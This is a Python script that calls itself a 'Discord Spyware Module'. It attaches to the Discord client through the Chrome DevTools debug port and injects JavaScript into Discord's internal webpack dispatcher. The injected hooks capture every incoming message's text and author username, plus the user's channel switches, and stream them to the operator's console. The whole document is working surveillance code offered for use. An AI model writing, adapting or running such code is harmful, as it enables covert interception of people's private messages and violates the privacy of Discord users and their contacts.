from websocket import create_connection
import json
import urllib.request
import sys
import time

def get_debug_url():
    try:
        resp = urllib.request.urlopen("http://localhost:9222/json")
        pages = json.loads(resp.read())
        for p in pages:
            if "discord.com" in p.get("url", "") or "Discord" in p.get("title", ""):
                return p.get("webSocketDebuggerUrl")
    except:
        return None
    return None

def main():
    print("[*] Activating Discord Spyware Module...")
    ws_url = get_debug_url()
    if not ws_url:
        print("[-] Discord Debug Port not found.")
        sys.exit(1)
        
    ws = create_connection(ws_url)
    
    # Enable Console Monitoring
    ws.send(json.dumps({"id": 1, "method": "Runtime.enable"}))
    
    # Inject Spyware Hook into Webpack Dispatcher
    # This hooks onto the internal Flux Dispatcher to see all events (Messages, Typing, etc.)
    spy_js = """
    (function() {
        try {
            const webpackChunk = window.webpackChunkdiscord_app;
            let dispatcher;
            
            webpackChunk.push([[Math.random()], {}, (req) => {
                for (const m of Object.values(req.c)) {
                    if (m.exports?.default?.subscribe && m.exports?.default?.dispatch) {
                        dispatcher = m.exports.default;
                        break;
                    }
                }
            }]);
            
            if (dispatcher) {
                console.log("[SPY_INIT] Dispatcher Hooked Successfully");
                
                // Hook MESSAGE_CREATE
                dispatcher.subscribe("MESSAGE_CREATE", (e) => {
                     // Check if it's a message object
                     if (e.message && e.message.content) {
                         console.log("[SPY_EVENT] Message: " + e.message.content + " (Author: " + e.message.author.username + ")");
                     }
                });
                
                // Hook CHANNEL_SELECT (User changing chats)
                dispatcher.subscribe("CHANNEL_SELECT", (e) => {
                    console.log("[SPY_EVENT] User switched to channel: " + e.channelId);
                });
                
                return "Hooked";
            }
            return "Dispatcher Not Found";
        } catch(e) { return e.toString(); }
    })()
    """
    
    ws.send(json.dumps({
        "id": 2, 
        "method": "Runtime.evaluate", 
        "params": {"expression": spy_js}
    }))
    
    print("[+] Spyware Injected. Listening for events... (Press Ctrl+C to stop)")
    print("[*] Try typing a message in Discord or switching channels!")
    
    while True:
        try:
            resp = ws.recv()
            data = json.loads(resp)
            
            # Listen for Console Logs which contain our spy data
            if data.get("method") == "Runtime.consoleAPICalled":
                args = data.get("params", {}).get("args", [])
                for arg in args:
                    val = arg.get("value", "")
                    if "[SPY_" in str(val):
                        print(f"👀 {val}")
                        
        except KeyboardInterrupt:
            break
        except Exception:
            pass

if __name__ == "__main__":
    main()
